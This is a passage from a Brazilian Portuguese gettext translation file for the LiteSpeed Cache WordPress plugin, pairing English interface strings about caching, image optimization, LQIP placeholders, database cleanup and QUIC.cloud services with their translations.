msgstr "Um segundo parâmetro opcional pode ser usado para especificar o controle de cache. Use um espaço para separar"

#: tpl/cache/settings-esi.tpl.php:108
msgid "The above nonces will be converted to ESI automatically."
msgstr "Os nonces acima serão convertidos automaticamente em ESI."

#: tpl/cache/entry.tpl.php:21 tpl/cache/entry.tpl.php:75
msgid "Browser"
msgstr "Navegador"

#: tpl/cache/entry.tpl.php:20 tpl/cache/entry.tpl.php:74
msgid "Object"
msgstr "Objeto"

#. translators: %1$s: Object cache name, %2$s: Port number
#: tpl/cache/settings_inc.object.tpl.php:128
#: tpl/cache/settings_inc.object.tpl.php:137
msgid "Default port for %1$s is %2$s."
msgstr "A porta padrão para %1$s é %2$s."

#: tpl/cache/settings_inc.object.tpl.php:33
msgid "Object Cache Settings"
msgstr "Configurações de cache de objetos"

#: tpl/cache/settings-ttl.tpl.php:111
msgid "Specify an HTTP status code and the number of seconds to cache that page, separated by a space."
msgstr "Especifique um código de status HTTP e o número de segundos para armazenar em cache esta página, separados por um espaço."

#: tpl/cache/settings-ttl.tpl.php:59
msgid "Specify how long, in seconds, the front page is cached."
msgstr "Especifique por quanto tempo, em segundos, a página inicial é armazenada em cache."

#: tpl/cache/entry.tpl.php:67 tpl/cache/settings-ttl.tpl.php:15
msgid "TTL"
msgstr "TTL"

#: tpl/cache/settings-purge.tpl.php:86
msgid "If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait."
msgstr "Se ATIVADO, uma cópia obsoleta de uma página em cache será mostrada aos visitantes até que uma nova cópia em cache esteja disponível. Isso reduz a carga do servidor para visitas subsequentes. Se DESATIVADO, a página será gerada dinamicamente enquanto os visitantes esperam."

#: tpl/page_optm/settings_css.tpl.php:341
msgid "Swap"
msgstr "Trocar"

#: tpl/page_optm/settings_css.tpl.php:340
msgid "Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded."
msgstr "Defina isso para anexar %1$s a todas as regras %2$s antes de armazenar em cache o CSS, especificando como as fontes devem ser exibidas ao serem baixadas."

#: tpl/page_optm/settings_localization.tpl.php:67
msgid "Avatar list in queue waiting for update"
msgstr "Lista de avatares na fila aguardando atualização"

#: tpl/page_optm/settings_localization.tpl.php:54
msgid "Refresh Gravatar cache by cron."
msgstr "Atualizar o cache do Gravatar através do cron."

#: tpl/page_optm/settings_localization.tpl.php:41
msgid "Accelerates the speed by caching Gravatar (Globally Recognized Avatars)."
msgstr "Acelera a velocidade ao armazenar em cache o Gravatar (Avatares Reconhecidos Globalmente)."

#: tpl/page_optm/settings_localization.tpl.php:40
msgid "Store Gravatar locally."
msgstr "Armazenar o Gravatar localmente."

#: tpl/page_optm/settings_localization.tpl.php:22
msgid "Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup."
msgstr "Falha ao criar a tabela Avatar. Siga as <a %s>Diretrizes de criação de tabela no Wiki do LiteSpeed</a> para concluir a configuração."

#: tpl/page_optm/settings_media.tpl.php:156
msgid "LQIP requests will not be sent for images where both width and height are smaller than these dimensions."
msgstr "Não serão enviadas solicitações de LQIP para imagens cuja largura e altura sejam ambas menores que essas dimensões."

#: tpl/page_optm/settings_media.tpl.php:154
msgid "pixels"
msgstr "pixels"

#: tpl/page_optm/settings_media.tpl.php:138
msgid "Larger number will generate higher resolution quality placeholder, but will result in larger files which will increase page size and consume more points."
msgstr "Um número maior gerará um marcador de posição de maior qualidade de resolução, mas resultará em arquivos maiores que aumentarão o tamanho da página e consumirão mais pontos."

#: tpl/page_optm/settings_media.tpl.php:137
msgid "Specify the quality when generating LQIP."
msgstr "Especificar a qualidade ao gerar o \"Marcador de Imagem de Baixa Qualidade\" (LQIP)."

#: tpl/page_optm/settings_media.tpl.php:123
msgid "Keep this off to use plain color placeholders."
msgstr "Mantenha isso desativado para usar marcadores de posição de cor sólida."

#: tpl/page_optm/settings_media.tpl.php:122
msgid "Use QUIC.cloud LQIP (Low Quality Image Placeholder) generator service for responsive image previews while loading."
msgstr "Use o serviço gerador de LQIP (Marcador de Posição de Imagem de Baixa Qualidade) do QUIC.cloud para pré-visualizações de imagens responsivas durante o carregamento."

#: tpl/page_optm/settings_media.tpl.php:107
msgid "Specify the responsive placeholder SVG color."
msgstr "Especifique a cor do marcador de posição responsivo em SVG."

#: tpl/page_optm/settings_media.tpl.php:93
msgid "Variables %s will be replaced with the configured background color."
msgstr "As variáveis %s serão substituídas pela cor de fundo configurada."

#: tpl/page_optm/settings_media.tpl.php:92
msgid "Variables %s will be replaced with the corresponding image properties."
msgstr "As variáveis %s serão substituídas pelas propriedades correspondentes da imagem."

#: tpl/page_optm/settings_media.tpl.php:91
msgid "It will be converted to a base64 SVG placeholder on-the-fly."
msgstr "Será convertido em um marcador de posição SVG em base64 sob demanda."

#: tpl/page_optm/settings_media.tpl.php:90
msgid "Specify an SVG to be used as a placeholder when generating locally."
msgstr "Especifique um arquivo SVG para ser usado como marcador de posição ao gerar localmente."

#: tpl/page_optm/settings_media_exc.tpl.php:118
msgid "Prevent any lazy load of listed pages."
msgstr "Impedir qualquer carregamento tardio das páginas listadas."

#: tpl/page_optm/settings_media_exc.tpl.php:104
msgid "Iframes having these parent class names will not be lazy loaded."
msgstr "Iframes que tenham esses nomes de classes principal não serão carregados tardiamente."

#: tpl/page_optm/settings_media_exc.tpl.php:89
msgid "Iframes containing these class names will not be lazy loaded."
msgstr "Iframes que contenham esses nomes de classes não serão carregados tardiamente."

#: tpl/page_optm/settings_media_exc.tpl.php:75
msgid "Images having these parent class names will not be lazy loaded."
msgstr "Imagens que tenham esses nomes de classes principal não serão carregadas tardiamente."

#: tpl/page_optm/entry.tpl.php:31
msgid "LiteSpeed Cache Page Optimization"
msgstr "Otimização de páginas do LiteSpeed Cache"

#: tpl/page_optm/entry.tpl.php:21 tpl/page_optm/settings_media_exc.tpl.php:17
msgid "Media Excludes"
msgstr "Exclusões de mídia"

#: tpl/page_optm/entry.tpl.php:16 tpl/page_optm/settings_css.tpl.php:31
msgid "CSS Settings"
msgstr "Configurações de CSS"

#: tpl/page_optm/settings_css.tpl.php:341
msgid "%s is recommended."
msgstr "É recomendável usar %s."

#: tpl/page_optm/settings_js.tpl.php:77
msgid "Deferred"
msgstr "Adiado"

#: tpl/page_optm/settings_css.tpl.php:338
msgid "Default"
msgstr "Padrão"

#: tpl/page_optm/settings_html.tpl.php:61
msgid "This can improve the page loading speed."
msgstr "Isso pode melhorar a velocidade de carregamento da página."

#: tpl/page_optm/settings_html.tpl.php:60
msgid "Automatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth."
msgstr "Ativar automaticamente o pré-carregamento de DNS para todos os URLs no documento, incluindo imagens, CSS, JavaScript e assim por diante."

#: tpl/banner/new_version_dev.tpl.php:30
msgid "New developer version %s is available now."
msgstr "A nova versão para desenvolvedores %s já está disponível."

#: tpl/banner/new_version_dev.tpl.php:22
msgid "New Developer Version Available!"
msgstr "Nova versão para desenvolvedores disponível!"

#: tpl/banner/cloud_news.tpl.php:51 tpl/banner/cloud_promo.tpl.php:73
msgid "Dismiss this notice"
msgstr "Dispensar esta notificação"

#: tpl/banner/cloud_promo.tpl.php:61
msgid "Tweet this"
msgstr "Tweetar isso"

#: tpl/banner/cloud_promo.tpl.php:45
msgid "Tweet preview"
msgstr "Pré-visualização doTtweet"

#: tpl/banner/cloud_promo.tpl.php:40
#: tpl/page_optm/settings_tuning_css.tpl.php:69
#: tpl/page_optm/settings_tuning_css.tpl.php:144
msgid "Learn more"
msgstr "Saber mais"

#: tpl/banner/cloud_promo.tpl.php:22
msgid "You just unlocked a promotion from QUIC.cloud!"
msgstr "Você acaba de desbloquear uma promoção do QUIC.cloud!"

#: tpl/page_optm/settings_media.tpl.php:274
msgid "The image compression quality setting of WordPress out of 100."
msgstr "A configuração de qualidade de compressão de imagem do WordPress em uma escala de 0 a 100."

#: tpl/img_optm/entry.tpl.php:17 tpl/img_optm/entry.tpl.php:22
#: tpl/img_optm/network_settings.tpl.php:19 tpl/img_optm/settings.tpl.php:19
msgid "Image Optimization Settings"
msgstr "Configurações de otimização de imagem"

#: tpl/img_optm/summary.tpl.php:377
msgid "Are you sure to destroy all optimized images?"
msgstr "Tem certeza de que deseja remover todas as imagens otimizadas?"

#: tpl/img_optm/summary.tpl.php:360
msgid "Use Optimized Files"
msgstr "Usar arquivos otimizados"

#: tpl/img_optm/summary.tpl.php:359
msgid "Switch back to using optimized images on your site"
msgstr "Voltar a usar imagens otimizadas em seu site"

#: tpl/img_optm/summary.tpl.php:356
msgid "Use Original Files"
msgstr "Usar arquivos originais"

#: tpl/img_optm/summary.tpl.php:355
msgid "Use original images (unoptimized) on your site"
msgstr "Use imagens originais (não otimizadas) em seu site"

#: tpl/img_optm/summary.tpl.php:350
msgid "You can quickly switch between using original (unoptimized versions) and optimized image files. It will affect all images on your website, both regular and webp versions if available."
msgstr "Você pode alternar rapidamente entre o uso de versões originais (não otimizadas) e arquivos de imagem otimizados. Isso afetará todas as imagens do seu site, tanto as versões regulares quanto as versões WebP, se estiverem disponíveis."

#: tpl/img_optm/summary.tpl.php:347
msgid "Optimization Tools"
msgstr "Ferramentas de otimização"

#: tpl/img_optm/summary.tpl.php:305
msgid "Rescan New Thumbnails"
msgstr "Verificar novamente novas miniaturas"

#: tpl/img_optm/summary.tpl.php:289
msgid "Congratulations, all gathered!"
msgstr "Parabéns, todos reunidos!"

#: tpl/img_optm/summary.tpl.php:293
msgid "What is an image group?"
msgstr "O que é um grupo de imagens?"

#: tpl/img_optm/summary.tpl.php:241
msgid "Delete all backups of the original images"
msgstr "Excluir todos os backups das imagens originais"

#: tpl/img_optm/summary.tpl.php:217
msgid "Calculate Backups Disk Space"
msgstr "Calcular espaço em disco para backups"

#: tpl/img_optm/summary.tpl.php:108
msgid "Optimization Status"
msgstr "Status de otimização"

#: tpl/img_optm/summary.tpl.php:69
msgid "Current limit is"
msgstr "O limite atual é"

#: tpl/img_optm/summary.tpl.php:68
msgid "To make sure our server can communicate with your server without any issues and everything works fine, for the few first requests the number of image groups allowed in a single request is limited."
msgstr "Para garantir que nosso servidor possa se comunicar com o seu servidor sem problemas e que tudo funcione bem, o número de grupos de imagens permitidos em uma única solicitação é limitado para as primeiras solicitações."

#: tpl/img_optm/summary.tpl.php:63
msgid "You can request a maximum of %s images at once."
msgstr "Você pode solicitar um máximo de %s imagens de uma só vez."

#: tpl/img_optm/summary.tpl.php:58
msgid "Optimize images with our QUIC.cloud server"
msgstr "Otimizar imagens com nosso servidor QUIC.cloud"

#: tpl/db_optm/settings.tpl.php:46
msgid "Revisions newer than this many days will be kept when cleaning revisions."
msgstr "Revisões mais recentes do que este número de dias serão mantidas ao limpar as revisões."

#: tpl/db_optm/settings.tpl.php:44
msgid "Day(s)"
msgstr "Dia(s)"

#: tpl/db_optm/settings.tpl.php:32
msgid "Specify the number of most recent revisions to keep when cleaning revisions."
msgstr "Especifique o número de revisões mais recentes a serem mantidas ao limpar as revisões."

#: tpl/db_optm/entry.tpl.php:24
msgid "LiteSpeed Cache Database Optimization"
msgstr "Otimização do banco de dados do LiteSpeed Cache"

#: tpl/db_optm/entry.tpl.php:17 tpl/db_optm/settings.tpl.php:19
msgid "DB Optimization Settings"
msgstr "Configurações de otimização do banco de dados"

#: tpl/db_optm/manage.tpl.php:185
msgid "Option Name"
msgstr "Nome da opção"

#: tpl/db_optm/manage.tpl.php:171
msgid "Database Summary"
msgstr "Resumo do banco de dados"

#: tpl/db_optm/manage.tpl.php:149
msgid "We are good. No table uses MyISAM engine."
msgstr "Estamos bem. Nenhuma tabela está usando o mecanismo MyISAM."

#: tpl/db_optm/manage.tpl.php:141
msgid "Convert to InnoDB"
msgstr "Converter para InnoDB"

#: tpl/db_optm/manage.tpl.php:126
msgid "Tool"
msgstr "Ferramenta"

#: tpl/db_optm/manage.tpl.php:125
msgid "Engine"
msgstr "Mecanismo"

#: tpl/db_optm/manage.tpl.php:124
msgid "Table"
msgstr "Tabela"

#: tpl/db_optm/manage.tpl.php:116
msgid "Database Table Engine Converter"
msgstr "Conversor de mecanismo de tabela de banco de dados"

#: tpl/db_optm/manage.tpl.php:66
msgid "Clean revisions older than %1$s day(s), excluding %2$s latest revisions"
msgstr "Limpar revisões com mais de %1$s dia(s), excluindo as %2$s revisões mais recentes"

#: tpl/dash/dashboard.tpl.php:87 tpl/dash/dashboard.tpl.php:806
msgid "Currently active crawler"
msgstr "Rastreador ativo atualmente"

#: tpl/dash/dashboard.tpl.php:84 tpl/dash/dashboard.tpl.php:803
msgid "Crawler(s)"
msgstr "Rastreador(es)"

#: tpl/crawler/map.tpl.php:77 tpl/dash/dashboard.tpl.php:80
#: tpl/dash/dashboard.tpl.php:799
msgid "Crawler Status"
msgstr "Status do rastreador"

#: tpl/dash/dashboard.tpl.php:648 tpl/dash/dashboard.tpl.php:692
#: tpl/dash/dashboard.tpl.php:736 tpl/dash/dashboard.tpl.php:780
msgid "Force cron"
msgstr "Forçar cron"

#: tpl/dash/dashboard.tpl.php:645 tpl/dash/dashboard.tpl.php:689
#: tpl/dash/dashboard.tpl.php:733 tpl/dash/dashboard.tpl.php:777
msgid "Requests in queue"
msgstr "Solicitações na fila"

#: tpl/dash/dashboard.tpl.php:638 tpl/dash/dashboard.tpl.php:682
#: tpl/dash/dashboard.tpl.php:726 tpl/dash/dashboard.tpl.php:770
msgid "Time to execute previous request: %s"
msgstr "Tempo para executar a solicitação anterior: %s"

#: tpl/dash/dashboard.tpl.php:59 tpl/dash/dashboard.tpl.php:602
msgid "Private Cache"
msgstr "Cache privado"

#: tpl/dash/dashboard.tpl.php:58 tpl/dash/dashboard.tpl.php:601
msgid "Public Cache"
msgstr "Cache público"

#: tpl/dash/dashboard.tpl.php:53 tpl/dash/dashboard.tpl.php:596
msgid "Cache Status"
msgstr "Status do cache"

#: tpl/dash/dashboard.tpl.php:571
msgid "Last Pull"
msgstr "Última recuperação"

#: tpl/dash/dashboard.tpl.php:519 tpl/img_optm/entry.tpl.php:16
msgid "Image Optimization Summary"
msgstr "Resumo da otimização de imagens"

#: tpl/dash/dashboard.tpl.php:511
msgid "Refresh page score"
msgstr "Atualizar pontuação da página"

#: tpl/dash/dashboard.tpl.php:382 tpl/img_optm/summary.tpl.php:54
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Are you sure you want to redetect the closest cloud server for this service?"
msgstr "Tem certeza de que deseja redetectar o servidor em nuvem mais próximo para este serviço?"

#: tpl/dash/dashboard.tpl.php:381 tpl/img_optm/summary.tpl.php:54
#: tpl/page_optm/settings_css.tpl.php:111
#: tpl/page_optm/settings_css.tpl.php:248
#: tpl/page_optm/settings_media.tpl.php:194
#: tpl/page_optm/settings_vpi.tpl.php:59
msgid "Current closest Cloud server is %s. Click to redetect."
msgstr "O servidor em nuvem mais próximo atual é %s. Clique para redetectar."

#: tpl/dash/dashboard.tpl.php:446
msgid "Refresh page load time"
msgstr "Atualizar o tempo de carregamento da página"

#: tpl/dash/dashboard.tpl.php:353 tpl/general/online.tpl.php:128
msgid "Go to QUIC.cloud dashboard"
msgstr "Acessar o painel do QUIC.cloud"

#: tpl/dash/dashboard.tpl.php:206 tpl/dash/dashboard.tpl.php:711
#: tpl/dash/network_dash.tpl.php:39
msgid "Low Quality Image Placeholder"
msgstr "Marcador de posição de imagem de baixa qualidade"

#: tpl/dash/dashboard.tpl.php:182
msgid "Sync data from Cloud"
msgstr "Sincronizar dados a partir da nuvem"

#: tpl/dash/dashboard.tpl.php:179
msgid "QUIC.cloud Service Usage Statistics"
msgstr "Estatísticas de uso do serviço QUIC.cloud"

#: tpl/dash/dashboard.tpl.php:292 tpl/dash/network_dash.tpl.php:119
msgid "Total images optimized in this month"
msgstr "Total de imagens otimizadas neste mês"

#: tpl/dash/dashboard.tpl.php:291 tpl/dash/network_dash.tpl.php:118
msgid "Total Usage"
msgstr "Uso total"

#: tpl/dash/dashboard.tpl.php:273 tpl/dash/network_dash.tpl.php:111
msgid "Pay as You Go Usage Statistics"
msgstr "Estatísticas de uso do PAYG (Pagamento Conforme o Uso)"

#: tpl/dash/dashboard.tpl.php:270 tpl/dash/network_dash.tpl.php:108
msgid "PAYG Balance"
msgstr "Saldo PAYG"

#: tpl/dash/network_dash.tpl.php:107
msgid "Pay as You Go"
msgstr "Pague conforme o uso"

#: tpl/dash/dashboard.tpl.php:258 tpl/dash/network_dash.tpl.php:95
msgid "Usage"
msgstr "Uso"

#: tpl/dash/dashboard.tpl.php:258 tpl/dash/network_dash.tpl.php:95
msgid "Fast Queue Usage"
msgstr "Uso de fila rápida"

#: tpl/dash/dashboard.tpl.php:205 tpl/dash/network_dash.tpl.php:38
msgid "CDN Bandwidth"
msgstr "Largura de banda do CDN"

#: tpl/dash/entry.tpl.php:29
msgid "LiteSpeed Cache Dashboard"
msgstr "Painel do LiteSpeed Cache"

#: tpl/dash/entry.tpl.php:21
msgid "Network Dashboard"
msgstr "Painel de rede"

#: tpl/general/online.tpl.php:51
msgid "No cloud services currently in use"
msgstr "Nenhum serviço em nuvem em uso no momento"

#: tpl/general/online.tpl.php:31
msgid "Click to clear all nodes for further redetection."
msgstr "Clique para limpar todos os nós para uma nova redetecção."

#: tpl/general/online.tpl.php:30
msgid "Current Cloud Nodes in Service"
msgstr "Nós de nuvem em serviço atualmente"

#: tpl/cdn/qc.tpl.php:126 tpl/cdn/qc.tpl.php:133 tpl/dash/dashboard.tpl.php:359
#: tpl/general/online.tpl.php:153
msgid "Link to QUIC.cloud"
msgstr "Vincular ao QUIC.cloud"

#: tpl/general/entry.tpl.php:17 tpl/general/entry.tpl.php:23
#: tpl/general/network_settings.tpl.php:19 tpl/general/settings.tpl.php:24
msgid "General Settings"
msgstr "Configurações gerais"

#: tpl/cdn/other.tpl.php:136
msgid "Specify which HTML element attributes will be replaced with CDN Mapping."
msgstr "Especificar quais atributos de elementos HTML serão substituídos pelo mapeamento de CDN."

#: src/admin-display.cls.php:475
msgid "Add new CDN URL"
msgstr "Adicionar novo URL de CDN"

#: src/admin-display.cls.php:474
msgid "Remove CDN URL"
msgstr "Remover URL do CDN"

#: tpl/cdn/cf.tpl.php:102
msgid "To enable the following functionality, turn ON Cloudflare API in CDN Settings."
msgstr "Para ativar a seguinte funcionalidade, ATIVE a API do Cloudflare em \"Configurações de CDN\"."

#: tpl/cdn/entry.tpl.php:14
msgid "QUIC.cloud"
msgstr "QUIC.cloud"

#: thirdparty/woocommerce.content.tpl.php:18
msgid "WooCommerce Settings"
msgstr "Configurações do WooCommerce"

#: src/gui.cls.php:638 src/gui.cls.php:820
#: tpl/page_optm/settings_media.tpl.php:141 tpl/toolbox/purge.tpl.php:100
msgid "LQIP Cache"
msgstr "Cache de LQIP"

#: src/admin-settings.cls.php:297 src/admin-settings.cls.php:333
msgid "Options saved."
msgstr "Opções salvas."

#: src/img-optm.cls.php:1745
msgid "Removed backups successfully."
msgstr "Backups removidos."

#: src/img-optm.cls.php:1653
msgid "Calculated backups successfully."
msgstr "Backups calculados."

#: src/img-optm.cls.php:1587
msgid "Rescanned %d images successfully."
msgstr "%d imagens reexaminadas."

#: src/img-optm.cls.php:1523 src/img-optm.cls.php:1587
msgid "Rescanned successfully."
msgstr "Reexaminadas."

#: src/img-optm.cls.php:1458
msgid "Destroy all optimization data successfully."
msgstr "Todos os dados de otimização foram removidos."

#: src/img-optm.cls.php:1357
msgid "Cleaned up unfinished data successfully."
msgstr "Dados não concluídos limpos."

#: src/img-optm.cls.php:976
msgid "Pull Cron is running"
msgstr "O cron de recuperação está em execução"

#: src/img-optm.cls.php:700
msgid "No valid image found by Cloud server in the current request."
msgstr "Nenhuma imagem válida encontrada pelo servidor em nuvem na solicitação atual."

#: src/img-optm.cls.php:675
msgid "No valid image found in the current request."
msgstr "Nenhuma imagem válida encontrada na solicitação atual."

#: src/img-optm.cls.php:350
msgid "Pushed %1$s to Cloud server, accepted %2$s."
msgstr "Enviado %1$s para o servidor em nuvem, aceito %2$s."

#: src/lang.cls.php:267
msgid "Revisions Max Age"
msgstr "Idade máxima de revisões"

#: src/lang.cls.php:266
msgid "Revisions Max Number"
msgstr "Número máximo de revisões"

#: src/lang.cls.php:263
msgid "Debug URI Excludes"
msgstr "Exclusões de URI de depuração"

#: src/lang.cls.php:262
msgid "Debug URI Includes"
msgstr "Inclusões de URI de depuração"

#: src/lang.cls.php:242
msgid "HTML Attribute To Replace"
msgstr "Atributo HTML para substituir"

#: src/lang.cls.php:236
msgid "Use CDN Mapping"
msgstr "Usar mapeamento CDN"

#: tpl/general/online.tpl.php:100
msgid "QUIC.cloud CDN:"
msgstr "CDN do QUIC.cloud:"

#: src/lang.cls.php:234
msgid "Editor Heartbeat TTL"
msgstr "TTL do monitoramento de atividade (heartbeat) do editor"

#: src/lang.cls.php:233
msgid "Editor Heartbeat"
msgstr "Monitoramento de atividade (heartbeat) do editor"

#: src/lang.cls.php:232
msgid "Backend Heartbeat TTL"
msgstr "TTL do monitoramento de atividade (heartbeat) do painel"

#: src/lang.cls.php:231
msgid "Backend Heartbeat Control"
msgstr "Controle do monitoramento de atividade (heartbeat) do painel"

#: src/lang.cls.php:230
msgid "Frontend Heartbeat TTL"
msgstr "TTL do monitoramento de atividade (heartbeat) da interface"

#: src/lang.cls.php:229
msgid "Frontend Heartbeat Control"
msgstr "Controle do monitoramento de atividade (heartbeat) da interface"

#: tpl/toolbox/edit_htaccess.tpl.php:71
msgid "Backend .htaccess Path"
msgstr "Caminho .htaccess do painel"

#: tpl/toolbox/edit_htaccess.tpl.php:53
msgid "Frontend .htaccess Path"
msgstr "Caminho do .htaccess da interface"

#: src/lang.cls.php:219
msgid "ESI Nonces"
msgstr "Nonces ESI"

#: src/lang.cls.php:215
msgid "WordPress Image Quality Control"
msgstr "Controle de qualidade de imagem no WordPress"

#: src/lang.cls.php:206
msgid "Auto Request Cron"
msgstr "Cron de solicitação automática"

#: src/lang.cls.php:199
msgid "Generate LQIP In Background"
msgstr "Gerar LQIP em segundo plano"

#: src/lang.cls.php:197
msgid "LQIP Minimum Dimensions"
msgstr "Dimensões mínimas do LQIP"

#: src/lang.cls.php:196
msgid "LQIP Quality"
msgstr "Qualidade do LQIP"

#: src/lang.cls.php:195
msgid "LQIP Cloud Generator"
msgstr "Gerador de LQIP na nuvem"

#: src/lang.cls.php:194
msgid "Responsive Placeholder SVG"
msgstr "SVG do marcador de posição responsivo"

#: src/lang.cls.php:193
msgid "Responsive Placeholder Color"
msgstr "Cor do marcador de posição responsivo"

#: src/lang.cls.php:191
msgid "Basic Image Placeholder"
msgstr "Marcador de posição básico de imagem"

#: src/lang.cls.php:189
msgid "Lazy Load URI Excludes"
msgstr "Exclusões de URI para carregamento tardio"

#: src/lang.cls.php:188
msgid "Lazy Load Iframe Parent Class Name Excludes"
msgstr "Exclusões do nome de classes principal de iframes para carregamento tardio"

#: src/lang.cls.php:187
msgid "Lazy Load Iframe Class Name Excludes"
msgstr "Exclusões do nome de classe de iframes para carregamento tardio"

#: src/lang.cls.php:186
msgid "Lazy Load Image Parent Class Name Excludes"
msgstr "Exclusões do nome de classe principal da imagem para carregamento tardio"

#: src/lang.cls.php:181
msgid "Gravatar Cache TTL"
msgstr "TTL do cache do Gravatar"

#: src/lang.cls.php:180
msgid "Gravatar Cache Cron"
msgstr "Cron de cache do Gravatar"

#: src/gui.cls.php:648 src/gui.cls.php:830 src/lang.cls.php:179
#: tpl/presets/standard.tpl.php:49 tpl/toolbox/purge.tpl.php:109
msgid "Gravatar Cache"
msgstr "Cache do Gravatar"

#: src/lang.cls.php:159
msgid "DNS Prefetch Control"
msgstr "Controle de pré-busca de DNS"

#: src/lang.cls.php:154 tpl/presets/standard.tpl.php:46
msgid "Font Display Optimization"
msgstr "Otimização de exibição de fonte"

#: src/lang.cls.php:131
msgid "Force Public Cache URIs"
msgstr "Forçar URIs de cache público"

#: src/lang.cls.php:102
msgid "Notifications"
msgstr "Notificações"

#: src/lang.cls.php:96
msgid "Default HTTP Status Code Page TTL"
msgstr "TTL padrão da página de código de status HTTP"

#: src/lang.cls.php:95
msgid "Default REST TTL"
msgstr "TTL padrão da REST"

#: src/lang.cls.php:89
msgid "Enable Cache"
msgstr "Ativar cache"

#: src/cloud.cls.php:239 src/cloud.cls.php:291 src/lang.cls.php:85
msgid "Server IP"
msgstr "IP do servidor"

#: src/lang.cls.php:24
msgid "Images not requested"
msgstr "Imagens não solicitadas"

#: src/cloud.cls.php:2036
msgid "Sync credit allowance with Cloud Server successfully."
msgstr "A sincronização do limite de crédito com o servidor em nuvem foi realizada."

#: src/cloud.cls.php:1656
msgid "Failed to communicate with QUIC.cloud server"
msgstr "Falha ao se comunicar com o servidor QUIC.cloud"

#: src/cloud.cls.php:1579
msgid "Good news from QUIC.cloud server"
msgstr "Boas notícias do servidor QUIC.cloud"

#: src/cloud.cls.php:1563 src/cloud.cls.php:1571
msgid "Message from QUIC.cloud server"
msgstr "Mensagem do servidor QUIC.cloud"

#: src/cloud.cls.php:1239
msgid "Please try after %1$s for service %2$s."
msgstr "Tente novamente após %1$s para o serviço %2$s."

#: src/cloud.cls.php:1095
msgid "No available Cloud Node."
msgstr "Nenhum nó da nuvem disponível."

#: src/cloud.cls.php:978 src/cloud.cls.php:991 src/cloud.cls.php:1029
#: src/cloud.cls.php:1095 src/cloud.cls.php:1236
msgid "Cloud Error"
msgstr "Erro na nuvem"

#: src/data.cls.php:214
msgid "The database has been upgrading in the background since %s. This message will disappear once upgrade is complete."
msgstr "O banco de dados está sendo atualizado em segundo plano desde %s. Esta mensagem desaparecerá assim que a atualização estiver concluída."

#: src/media.cls.php:449
msgid "Restore from backup"
msgstr "Restaurar a partir do backup"

#: src/media.cls.php:434
msgid "No backup of unoptimized WebP file exists."
msgstr "Não há backup do arquivo WebP não otimizado."

#: src/media.cls.php:420
msgid "WebP file reduced by %1$s (%2$s)"
msgstr "Arquivo WebP reduzido em %1$s (%2$s)"

#: src/media.cls.php:412
msgid "Currently using original (unoptimized) version of WebP file."
msgstr "Atualmente usando a versão original (não otimizada) do arquivo WebP."

#: src/media.cls.php:405
msgid "Currently using optimized version of WebP file."
msgstr "Atualmente usando a versão otimizada do arquivo WebP."

#: src/media.cls.php:383
msgid "Orig"
msgstr "Original"

#: src/media.cls.php:381
msgid "(no savings)"
msgstr "(sem economia)"

#: src/media.cls.php:381
msgid "Orig %s"
msgstr "Original %s"

#: src/media.cls.php:380
msgid "Congratulation! Your file was already optimized"
msgstr "Parabéns! Seu arquivo já foi otimizado"

#: src/media.cls.php:375
msgid "No backup of original file exists."
msgstr "Não há backup do arquivo original."

#: src/media.cls.php:375 src/media.cls.php:433
msgid "Using optimized version of file. "
msgstr "Usando a versão otimizada do arquivo. "

#: src/media.cls.php:368
msgid "Orig saved %s"
msgstr "Economizado do original %s"

#: src/media.cls.php:364
msgid "Original file reduced by %1$s (%2$s)"
msgstr "Arquivo original reduzido em %1$s (%2$s)"

#: src/media.cls.php:358 src/media.cls.php:413
msgid "Click to switch to optimized version."
msgstr "Clique para alternar para a versão otimizada."

#: src/media.cls.php:358
msgid "Currently using original (unoptimized) version of file."
msgstr "Atualmente usando a versão original (não otimizada) do arquivo."

#: src/media.cls.php:357 src/media.cls.php:409
msgid "(non-optm)"
msgstr "(não-otimizada)"

#: src/media.cls.php:354 src/media.cls.php:406
msgid "Click to switch to original (unoptimized) version."
msgstr "Clique para alternar para a versão original (não otimizada)."

#: src/media.cls.php:354
msgid "Currently using optimized version of file."
msgstr "Atualmente usando a versão otimizada do arquivo."

#: src/media.cls.php:353 src/media.cls.php:376 src/media.cls.php:402
#: src/media.cls.php:435
msgid "(optm)"
msgstr "(otimizada)"

#: src/placeholder.cls.php:140
msgid "LQIP image preview for size %s"
msgstr "Pré-visualização de imagem LQIP para tamanho %s"

#: src/placeholder.cls.php:83
msgid "LQIP"
msgstr "LQIP"

#: src/crawler.cls.php:1410
msgid "Previously existed in blocklist"
msgstr "Existia anteriormente na lista de bloqueios"

#: src/crawler.cls.php:1407
msgid "Manually added to blocklist"
msgstr "Adicionado manualmente à lista de bloqueios"

#: src/htaccess.cls.php:325
msgid "Mobile Agent Rules"
msgstr "Regras do Mobile Agent"

#: src/crawler-map.cls.php:377
msgid "Sitemap created successfully: %d items"
msgstr "Sitemap criado: %d itens"

#: src/crawler-map.cls.php:280
msgid "Sitemap cleaned successfully"
msgstr "Sitemap limpo"

#: src/admin-display.cls.php:1494
msgid "Invalid IP"
msgstr "IP inválido"

#: src/admin-display.cls.php:1466
msgid "Value range"
msgstr "Intervalo de valores"

#: src/admin-display.cls.php:1463
msgid "Smaller than"
msgstr "Menor que"

#: src/admin-display.cls.php:1461
msgid "Larger than"
msgstr "Maior que"

#: src/admin-display.cls.php:1455
msgid "Zero, or"
msgstr "Zero, ou"

#: src/admin-display.cls.php:1443
msgid "Maximum value"
msgstr "Valor máximo"

#: src/admin-display.cls.php:1440
msgid "Minimum value"
msgstr "Valor mínimo"

#: src/admin-display.cls.php:1420
msgid "Path must end with %s"
msgstr "O caminho deve terminar com %s"

#: src/admin-display.cls.php:1400
msgid "Invalid rewrite rule"
msgstr "Regra de reescrita inválida"

#: src/admin-display.cls.php:1300
msgid "Currently set to %s"
msgstr "No momento, definido como %s"

#: src/admin-display.cls.php:1290
msgid "This value is overwritten by the PHP constant %s."
msgstr "Este valor é substituído pela constante PHP %s."

#: src/admin-display.cls.php:260
msgid "Toolbox"
msgstr "Caixa de ferramentas"

#: src/admin-display.cls.php:258
msgid "Database"
